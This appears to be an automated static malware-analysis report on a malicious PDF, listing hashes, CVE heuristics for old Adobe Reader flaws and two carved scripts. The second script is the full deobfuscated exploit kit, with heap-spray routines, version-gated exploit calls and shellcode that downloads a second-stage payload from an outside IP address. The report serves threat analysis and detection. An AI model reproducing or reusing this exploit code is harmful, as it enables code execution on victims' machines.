Malicious PDF — malware analysis report

Static analysis result for SHA-256 04ee3098b55a1a58…

MALICIOUS

PDF

12.2 KB
MD5: ccc31bdda7190efd9816b010064315ca SHA-1: c9ba65e6a9ed24a4564998d0dfd55ac0c8d753ce SHA-256: 04ee3098b55a1a5832f49e5c987ec7e45dd10ba3a704741e3f3d7801939720fb
570 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits several known Adobe Reader vulnerabilities to achieve code execution. The deobfuscated JavaScript indicates that it downloads a second-stage payload from the URL http://199.19.215.133/stats/w.php?f=152&e=3. This is a common technique for delivering further malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36808 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36808
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://199.19.215.133/stats/w.php?f=152&e=3 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js
638a328dc24501cd02c2ba8b44a763d9b9948f0c93f34715d60259de59444962		 pdf-javascript-stream PDF /JS object 76 at offset 0x2C2 11607 bytes
Detection
ClamAV: Pdf.Exploit.Agent-36837
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
m=1-1;
cc={q:'+vdhIU"zg)r4w0sN.nbEk"_u-%89yWGSPlKm[{]M/Cx>V|5Qe@* 7of(23<6;tAD,ia=qp:1c}&j'}.q;
x='en634b62352v';
q=x[0]+'val';
t='214124';
e=t['indexOf'];
w=e(12)[q];
s=new Array();
ss='split';
ar='65@54@55@48@55@21@71@21@9@9@18@75@14@8@67@21@25@23@26@57@59@59@25@23@54@72@48@11@25@23@26@46@54@72@25@23@52@46@48@11@25@23@48@27@57@11@25@23@57@57@46@54@25@23@59@11@72@13@25@23@11@13@26@18@25@23@26@18@57@13@25@23@13@72@11@13@25@23@52@13@26@18@25@23@46@59@71@72@25@23@52@59@26@18@25@23@57@57@13@26@25@23@59@59@2@18@25@23@46@48@26@18@25@23@13@57@57@72@25@23@57@57@52@11@25@23@26@71@56@72@25@23@71@46@48@48@25@23@54@54@71@13@25@23@18@26@54@54@25@23@11@13@26@18@25@23@72@57@57@13@25@23@57@27@11@59@25@23@52@46@13@59@25@23@26@52@54@18@25@23@56@11@57@11@25@23@48@11@26@46@25@23@46@71@52@46@25@23@48@18@48@27@25@23@46@71@11@72@25@23@26@18@46@59@25@23@57@72@52@46@25@23@52@11@26@18@25@23@52@26@57@46@25@23@54@46@13@57@25@23@26@18@46@59@25@23@56@13@52@59@25@23@54@46@13@57@25@23@72@27@57@57@25@23@11@71@11@27@25@23@66@2@54@72@25@23@72@46@13@57@25@23@2@18@57@57@25@23@18@48@13@54@25@23@57@26@71@13@25@23@52@11@54@56@25@23@72@71@13@26@25@23@13@2@72@18@25@23@2@66@13@57@25@23@48@18@11@13@25@23@57@18@54@71@25@23@52@46@71@54@25@23@46@48@48@59@25@23@46@48@26@18@25@23@13@57@56@11@25@23@59@59@2@2@25@23@13@72@26@18@25@23@26@2@11@18@25@23@48@72@11@59@25@23@46@11@54@54@25@23@13@72@56@11@25@23@2@26@26@18@25@23@2@2@13@57@25@23@13@11@26@18@25@23@13@57@26@18@25@23@66@18@72@46@25@23@46@27@46@48@25@23@48@18@72@57@25@23@66@2@46@57@25@23@59@26@26@18@25@23@26@13@56@13@25@23@13@72@52@2@25@23@52@11@57@57@25@23@27@59@13@57@25@23@54@57@48@18@25@23@59@26@26@18@25@23@26@18@13@26@25@23@59@66@54@52@25@23@46@27@13@46@25@23@27@26@48@26@25@23@54@54@54@54@25@23@48@56@54@54@25@23@48@26@54@27@25@23@13@13@13@13@25@23@13@13@13@13@25@23@46@13@46@26@25@23@11@13@59@66@25@23@54@54@59@26@25@23@13@13@13@13@25@23@46@13@13@13@25@23@72@13@26@57@25@23@46@13@71@27@25@23@26@18@46@46@25@23@26@18@48@72@25@23@71@13@46@48@25@23@72@57@26@57@25@23@54@54@13@46@25@23@59@26@48@57@25@23@59@48@59@54@25@23@13@13@13@13@25@23@52@46@59@26@25@23@59@72@52@56@25@23@46@11@59@2@25@23@71@59@54@54@25@23@72@11@26@57@25@23@26@18@13@26@25@23@48@26@48@26@25@23@54@54@59@71@25@23@54@54@54@54@25@23@13@56@48@18@25@23@52@56@48@18@25@23@48@72@26@71@25@23@13@71@13@11@25@23@13@13@13@13@25@23@46@72@26@2@25@23@13@72@56@11@25@23@13@11@72@52@25@23@52@56@56@11@25@23@59@52@59@46@25@23@72@52@52@57@25@23@56@11@11@11@25@23@52@59@13@11@25@23@57@57@52@56@25@23@72@52@57@56@25@23@56@11@11@11@25@23@56@13@13@26@25@23@52@57@56@2@25@23@46@57@56@13@25@23@54@26@59@26@25@23@13@13@13@13@25@23@54@54@13@13@25@23@13@72@46@59@25@23@48@26@26@18@25@23@72@27@57@57@25@23@72@52@46@71@25@23@71@2@11@11@25@23@52@52@13@13@25@23@59@56@52@13@25@23@72@52@52@11@25@23@71@2@11@11@25@23@56@48@13@46@25@23@59@72@59@11@25@23@72@59@59@72@25@23@71@2@11@11@25@23@13@13@13@27@25@23@26@66@46@27@25@23@13@11@72@71@25@23@26@26@57@13@25@23@71@2@11@11@25@23@11@71@13@11@25@23@59@66@46@71@25@23@59@66@13@13@25@23@46@57@13@13@25@23@59@66@46@52@25@23@54@54@13@13@25@23@71@11@46@59@25@23@72@13@26@46@25@23@71@59@52@46@25@23@13@13@59@66@25@23@54@54@46@57@25@23@13@11@46@59@25@23@13@13@59@66@25@23@48@18@26@57@25@23@46@57@13@72@25@23@46@59@54@54@25@23@26@57@13@11@25@23@13@72@72@57@25@23@13@56@48@18@25@23@71@57@48@18@25@23@26@13@11@52@25@23@13@13@57@54@25@23@54@66@52@46@25@23@26@13@11@52@25@23@13@13@57@54@25@23@72@11@52@46@25@23@13@13@59@66@25@23@54@48@59@66@25@23@46@59@54@54@25@23@48@26@13@26@25@23@54@48@27@72@25@23@54@54@54@54@25@23@11@48@26@48@25@23@48@72@13@48@25@23@54@48@27@26@25@23@13@48@26@66@25@23@59@54@26@27@25@23@18@2@13@71@25@23@72@66@57@57@25@23@46@18@26@66@25@23@72@59@71@18@25@23@52@27@11@59@25@23@71@66@57@59@25@23@52@13@56@54@25@23@52@11@59@26@25@23@52@13@52@11@25@23@56@54@57@66@25@23@57@71@56@54@25@23@57@27@57@27@25@23@57@71@56@48@25@23@56@48@57@27@25@23@57@71@57@56@25@23@56@48@57@46@25@23@57@57@57@71@25@23@56@54@57@57@25@23@52@11@52@57@25@23@52@11@59@71@25@23@56@54@52@57@25@23@56@48@52@52@25@23@59@26@52@13@25@23@57@54@52@13@25@23@57@2@59@59@25@23@57@46@57@71@25@23@56@59@5
... (truncated)
split_char_table_stage_000.js
14ff0b00a4fd5e81fb3374fab6dc94aaf85612a99419c036210d903e995e7f97		 deobfuscated-js split character-table join decoded JavaScript at offset 0x394 3882 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e("1"))bjsg="%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u312f%u3939%u312e%u2e39%u3132%u2e35%u3331%u2f33%u7473%u7461%u2f73%u2e77%u6870%u3f70%u3d66%u3531%u2632%u3d65%u0033%u0000";function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=="EScript"){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd("p@111111111111111111111111 : yyyy111",new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=="EScript"){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape("%u9090%u9090");var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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